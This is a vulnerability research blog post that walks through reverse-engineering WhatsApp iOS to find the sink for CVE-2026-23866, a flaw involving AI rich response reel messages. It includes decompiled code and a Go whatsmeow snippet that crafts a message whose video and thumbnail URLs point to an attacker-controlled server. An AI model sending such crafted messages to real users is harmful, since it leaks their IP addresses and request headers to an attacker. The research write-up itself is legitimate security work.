CVE-2026-23866: Finding a Whatsapp NDay

·9 min read · mobilecvenday1day

Watch me trying to find a Whatsapp nDay, thanks to Meta and inline compiling it's not that easy !

On May 1 2026, CVE-2026-23866 was published, the vulnerability reportedly allows a malicious attacker to force a victim into loading an arbitrary URL and thus leaking important information (headers, ip address, …). It’s a low grade vulnerability but I’ve never worked on Whatsapp so I figured it’d be interesting to take a look at it.

The only informations I will be using are those publicly available on the NIST website . It describes the vulnerable version to be 2.25.8.0 < 2.26.15.72 on iOS and 2.25.8.0 < 2.26.7.10 on Android. The description of the vulnerability is the following: Incomplete validation of AI rich response messages for Instagram Reels in WhatsApp [...] could have allowed a user to trigger processing of media content from an arbitrary URL on another user’s device [...]. I’m more familiar with the iOS environment so that’s what I’ll be working on. I’ll be using Whatsapp iOS version 25.9.72 for my test and IDA Pro for decompiling.

Luckily and surprisingly, the binaries shipped with WhatsApp aren’t that big so it doesn’t take too long to decompile.

Because on this blog we only allow top-tier hacking and I don’t play around, I’m bringing the big guns right off the bat and thus I will be using grep on the unzipped iPA to find occurrence of AiRich (yes, yes this is top-tier hacking I swear):

number@notamalware$ grep "AiRich" -ri
grep: Frameworks/SharedModules.framework/SharedModules: binary file matches
grep: Frameworks/WABloksKit.framework/WABloksKit: binary file matches
grep: WhatsApp: binary file matches

This isn’t too bad to begin with.. So I started reverse-engineering SharedModules.

We have quite a lot of functions containing AiRich, and,SharedModules seems to be dedicated to parsing the various protocol messages.

AiRich-related functions in SharedModules

We know that we are looking for processing of media content that will lead to loading an arbitrary url. We can assume that the application tries to load a video (makes sense for an Instagram Reels) and doesn’t control the validity of the link. That’s why the class WAPBAIRichResponseMessage_AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata caught my eye. An AI Rich response that contains fields ? Be my guest.

We also have this function that seems to be extracting the submessage field from a protobuf message.

__int64 whatsapp__airich_response_message__airich_response_content_items_metadata__unpack()
{
  sub_18C3DB4();
  return protobuf_c_message_unpack(&whatsapp__airich_response_message__airich_response_content_items_metadata__descriptor);
}

Since SharedModules doesn’t seem to be dedicated to the logic of Whatsapp, I’m switching to the main Whatsapp binary in IDA.

By looking at the imports of this binary we have the following: Imports of the WhatsApp binary

Using the protobuf definition accessible here :

message AIRichResponseContentItemsMetadata {
	enum ContentType {
		DEFAULT = 0;
		CAROUSEL = 1;
	}

	message AIRichResponseContentItemMetadata {
		oneof aIRichResponseContentItem {
			AIRichResponseReelItem reelItem = 1;
		}
	}

	message AIRichResponseReelItem {
		optional string title = 1;
		optional string profileIconURL = 2;
		optional string thumbnailURL = 3;
		optional string videoURL = 4;
	}

	repeated AIRichResponseContentItemMetadata itemsMetadata = 1;
	optional ContentType contentType = 2;
}

I crossed-ref the class containing metadata and got the following function:

__int64 __fastcall sub_101AF22F0(__int64 a1)
{
  __int64 v1; // x30
  int v2; // w0
  int v3; // w2
  __int64 v4; // x1
  __int64 v5; // x0
  __int64 v6; // x1
  int v7; // w0
  int v8; // w2
  int v9; // w0
  int v10; // w2
  __int64 v11; // x0
  __int64 v12; // x1
  __int64 v13; // x2
  __int64 v14; // x3

  sub_101B55B2C(a1, v1);
  v2 = sub_101B2E450();
  if ( v4 )
  {
    v5 = sub_101B51EB0(v2, &selRef_videoURL, v3);
    if ( v6 )
    {
      v7 = sub_101B50E40(v5);
      sub_101B51EB0(v7, &selRef_title, v8);
      sub_101B516D4();
      sub_101B51EB0(v9, &selRef_profileIconURL, v10);
      sub_101B5341C();
      sub_101B5157C();
      sub_1013B30C0();
    }
    else
    {
      sub_101B50780(v5);
    }
  }
  sub_101B506F8();
  type metadata accessor for RichResponseReelItem();
  sub_101B52DC8();
  sub_101B55B18();
  return sub_10001FFAC(v11, v12, v13, v14);
}

Thank you Meta for compiling with the -O1 flag, this makes the experience very unpleasing!

I also found this stub that stores the videoUrl in an instance of RichResponseReelItem.

__text:00000001013B30C0 ; void sub_1013B30C0()
__text:00000001013B30C0 sub_1013B30C0                           ; CODE XREF: sub_101AF22F0+80↓p
__text:00000001013B30C0
__text:00000001013B30C0 arg_50          =  0x50
__text:00000001013B30C0 arg_58          =  0x58
__text:00000001013B30C0
__text:00000001013B30C0 ; FUNCTION CHUNK AT __text:000000010140A304 SIZE 00000018 BYTES
__text:00000001013B30C0
__text:00000001013B30C0                 MOV             X9, X30
__text:00000001013B30C4                 BL              sub_10140D35C
__text:00000001013B30C8                 MOV             X30, X9
__text:00000001013B30CC                 STP             X29, X30, [SP,#arg_50]
__text:00000001013B30D0                 ADD             X29, SP, #arg_50
__text:00000001013B30D4                 MOV             X19, X7
__text:00000001013B30D8                 BL              sub_1014103C8
__text:00000001013B30DC                 BL              sub_10140DF88
__text:00000001013B30E0                 MOV             X25, X1
__text:00000001013B30E4                 MOV             X26, X0
__text:00000001013B30E8                 MOV             X27, X8
__text:00000001013B30EC                 BL              _$s10Foundation4UUIDVACycfC ; UUID.init()
__text:00000001013B30F0                 BL              sub_10140C468
__text:00000001013B30F4                 LDRSW           X8, [X0,#0x14]
__text:00000001013B30F8                 ADD             X8, X27, X8
__text:00000001013B30FC                 STP             X26, X25, [X8]
__text:00000001013B3100                 LDRSW           X8, [X0,#0x18]
__text:00000001013B3104                 ADD             X8, X27, X8
__text:00000001013B3108                 STP             X24, X23, [X8]
__text:00000001013B310C                 LDRSW           X8, [X0,#0x1C]
__text:00000001013B3110                 ADD             X8, X27, X8
__text:00000001013B3114                 STP             X22, X21, [X8]
__text:00000001013B3118                 LDRSW           X8, [X0,#0x20]
__text:00000001013B311C                 ADD             X8, X27, X8
__text:00000001013B3120                 STP             X20, X19, [X8]
__text:00000001013B3124                 LDP             X29, X30, [SP,#arg_50]
__text:00000001013B3128                 B               loc_10140A304
__text:000000010140A304 loc_10140A304                           ; CODE XREF: sub_1013B30C0+68↑j
__text:000000010140A304                                         ; sub_1013B8508+148↑j ...
__text:000000010140A304                 LDP             X20, X19, [SP,#arg_40]
__text:000000010140A308                 LDP             X22, X21, [SP,#arg_30]
__text:000000010140A30C                 LDP             X24, X23, [SP,#arg_20]
__text:000000010140A310                 LDP             X26, X25, [SP,#arg_10]
__text:000000010140A314                 LDP             X28, X27, [SP+arg_0],#0x60
__text:000000010140A318                 RET

Let’s not stop halfway through and let’s keep X-Refing! We now need to find the function that loads one of the urls. Following the cross-references in IDA

Here I got kind of stuck because I have no intentions of debugging dynamically and it’s not possible to diff the binaries because of the compiler’s optimizations. I then went back to a hacker’s best tool: guessing.

Several hours of guessing and wading later (because just using Frida would be too much, right), I finally found this function which consumes the videoUrl field:

// positive sp value has been detected, the output may be wrong!
__int64 sub_1013E678C()
{
  _QWORD *v0; // x22
  __int64 v1; // x24
  int v2; // w1
  __int64 v3; // x0
  __int64 v4; // x0
  __int64 v5; // x0
  __int64 v6; // x0
  __int64 v7; // x0
  __int64 v8; // x27
  __int64 result; // x0
  __int64 v10; // x23
  __int64 v11; // x28
  int v12; // w2
  int v13; // w3
  int v14; // w4
  int v15; // w5
  int v16; // w6
  int v17; // w7
  __int64 v18; // x26
  __int64 v19; // x20
  _QWORD *v20; // x0
  __int64 v21; // x0
  char v22; // zf
  __int64 v23; // x0
  __int64 v24; // x0
  __int64 v25; // x0
  __int64 v26; // x0
  id v27; // x24
  NSURL *v28; // x8
  __int64 v29; // x0
  __int64 v30; // x20
  __int64 v31; // x25
  __int64 v32; // x1
  Class isa; // x26
  __int64 v34; // x0
  __int64 v35; // x0
  __int64 v36; // x0
  __int64 v37; // x0
  __int64 v38; // x0
  __int64 (__fastcall *v39)(__int64); // x8
  __int64 v40; // x0
  int v41; // [xsp-8h] [xbp-8h]

  sub_10140D35C();
  v41 = v2;
  v3 = sub_10001FCE0(&qword_103BE1A70);
  v4 = sub_10140A338(v3);
  v5 = (sub_10140C760)(v4);
  (sub_10140C894)(v5);
  v6 = sub_1014104CC();
  v7 = (sub_10140A690)(v6);
  v8 = (sub_10140C468)(v7);
  sub_10140A338(v8);
  sub_10140C850();
  result = sub_1013E5234();
  if ( result )
  {
    v10 = result;
    v11 = Array.count.getter(*(result + 72));
    if ( (IndexPath.item.getter)() >= v11 )
    {
      v25 = (sub_10140D344)(v10, v41, v12, v13, v14, v15, v16, v17);
      return swift_release(v25);
    }
    else
    {
      v18 = (IndexPath.item.getter)();
      sub_1013E644C();
      v19 = *(v10 + 72);
      sub_10140BDB0();
      v20 = Array.subscript.getter(v0, v18, v19, v8);
      sub_10140BDCC(v20);
      URL.init(string:)(*(v0 + *(v8 + 32)), *(v0 + *(v8 + 32) + 8));
      v21 = (sub_10140BB78)(v1);
      if ( v22 )
      {
        v23 = sub_10140CE5C(v21);
        v24 = sub_10140CE54(v23, type metadata accessor for RichResponseReelItem);
        return (sub_10140E5EC)(v24, &qword_103BE1A70);
      }
      else
      {
        v26 = (sub_10140E130)(v21);
        (sub_10140D2D8)(v26);
        v27 = objc_retainAutoreleasedReturnValue(objc_msgSend(objc_opt_self(&OBJC_CLASS___UIApplication), "sharedApplication"));
        URL._bridgeToObjectiveC()(v28);
        v30 = v29;
        sub_10001FCE0(&qword_103BF6B78);
        v31 = sub_10140AA6C();
        (type metadata accessor for OpenExternalURLOptionsKey)(0LL);
        sub_10140BCF0(&unk_103C81BA0, v32, type metadata accessor for OpenExternalURLOptionsKey, &unk_1041EDA60);
        (sub_10140E0A8)(v31);
        isa = Dictionary._bridgeToObjectiveC()().super.isa;
        sub_10140C82C();
        v34 = sub_10140CE5C(objc_msgSend(v27, "openURL:options:completionHandler:", v30, isa, 0LL));
        v35 = sub_10140BD28(v34);
        v36 = sub_10140BCB8(v35);
        v37 = (sub_10140BE20)(v36);
        v38 = sub_10140BF68(v37);
        v40 = v39(v38);
        return sub_10140CE54(v40, type metadata accessor for RichResponseReelItem);
      }
    }
  }
  return result;
}

And if we cross-ref that function, we can find this Objective-C function:

void __cdecl -[ReelCollectionViewCell handleTap](_TtC14WAMessageViews22ReelCollectionViewCell *self, SEL a2)
{
  void *v2; // x20

  sub_10140BED4(self, a2);
  sub_1013E4B8C();
  objc_release(v2);
}

So we got this first sink that is called when we clink on the message - bear in mind the link opened is attacker controlled. However, this sink needs user interaction which isn’t the case for the CVE we’re working on.

Finding the other sink is like finding a needle in a haystack - I did try to debug dynamically but sadly the Whatsapp version is too old and the backend blocks registration on those version. I’m guessing I could bypass this my modifying the version in the IPA, resigning and everything but it’s not what i’m interested in right now.

I did try to send the message using whatsmeow with this snippet:

    message := &waE2E.Message{
        RichResponseMessage: &waE2E.AIRichResponseMessage{
            MessageType: waAICommonDeprecated.AIRichResponseMessageType_AI_RICH_RESPONSE_TYPE_STANDARD.Enum(),
            Submessages: []*waAICommonDeprecated.AIRichResponseSubMessage{
                {
                    MessageType: waAICommonDeprecated.AIRichResponseSubMessageType_AI_RICH_RESPONSE_CONTENT_ITEMS.Enum(),
                    ContentItemsMetadata: &waAICommonDeprecated.AIRichResponseContentItemsMetadata{
                        ContentType: waAICommonDeprecated.AIRichResponseContentItemsMetadata_CAROUSEL.Enum(),
	  ItemsMetadata: []*waAICommonDeprecated.
                            AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata{
                            // Reel #1
                            {
                                AIRichResponseContentItem: &waAICommonDeprecated.
                                    AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata_ReelItem{
                                    ReelItem: &waAICommonDeprecated.
                                        AIRichResponseContentItemsMetadata_AIRichResponseReelItem{
                                        Title: proto.String(
                                            "Example Reel 1",
                                        ),
                                        ProfileIconURL: proto.String(
                                            "http://[VPS_URL]/thumb1.jpg",
                                        ),
                                        ThumbnailURL: proto.String(
                                            "http://[VPS_URL]/thumb2.jpg",
                                        ),
                                        VideoURL: proto.String(
                                            "http://[VPS_URL]/video.mp4",
                                        ),
                                    },
                                },
                            },
                            // Reel #2
                            {
                                AIRichResponseContentItem: &waAICommonDeprecated.
                                    AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata_ReelItem{
                                    ReelItem: &waAICommonDeprecated.
                                        AIRichResponseContentItemsMetadata_AIRichResponseReelItem{
                                        Title: proto.String(
                                            "Example Reel 2",
                                        ),
                                        ProfileIconURL: proto.String(
                                            "http://[VPS_URL]/thumb1.jpg",
                                        ),
                                        ThumbnailURL: proto.String(
"http://[VPS_URL]/thumb2.jpg",
                                        ),
                                        VideoURL: proto.String(
"http://[VPS_URL]/video2.mp4",
                                        ),
                                    },
                                },
                            },
                        },
                    },
                },
            },
        },
    }

But here is what it displays on recent versions:

How it displays on recent versions

So it’s not possible to really see how it would display on old versions and I really don’t want to have to dig in the Swift UI components of Whatsapp, the fact the it compiles inline is really annoying because it makes it way harder to decompile - IDA doesn’t load the stubs to load the arguments and thus you have to dig in each stub to know which argument goes where.

Maybe a plugin such as this would be a good solution to “bypass” the compiler’s optimizations but this isn’t what this blog post is about.

Conclusion

In conclusion, we were able to prove a 1-click path but not a 0-click one.

AIRichResponseContentItemsMetadata
        |
        v
reelItem
        |
        v
sub_101AF22F0
  videoURL / thumbnailURL / profileIconURL / title
        |
        v
sub_1013B30C0
  RichResponseReelItem
        |
        +----------------------+
        |                      |
        v                      ?
sub_1013E678C             CVE media sink
  [tap path]              [not found]
        |
        v
URL.init -> UIApplication.openURL

Even though I couldn’t find the CVE’s automatic media-processing sink, we saw that Whatsapp does extract an URL from a user controlled protobuf and we confirmed that this URL is then loaded without making sure it points to a trusted destination. I’m pretty sure this represents a vuln in itself, this user seem to have been paid a bounty for finding this type of vulnerability. I’m not sure how the URLs appear on the UI but if they don’t display it and clicking on the message is sufficient for loading a user controlled URL, this could already be considered a vuln. This is not the sink described by CVE-2026-23866, since the path I found requires a user tap. I did not reproduce the vulnerable automatic media-processing path, so identifying that second consumer remains future work. To find our correct stub, I can think of several different options:

  • Hardcode a more recent Whatsapp version in the binary to bypass the backend check (i’m not familiar with Whatsapp internals, i’m not sure that’d work). I know that the application has also a set expiration date and we would also have to change the date of the phone.
  • Write and import a custom .dylib in Whatsapp to force it to load a custom message (in this case a RichResponseMessage).

Anyway, this was my first time writing a post on mobile VR, hope it was interesting. If you have any questions - or think that I missed something, you can reach out to me on discord @ numb3rss.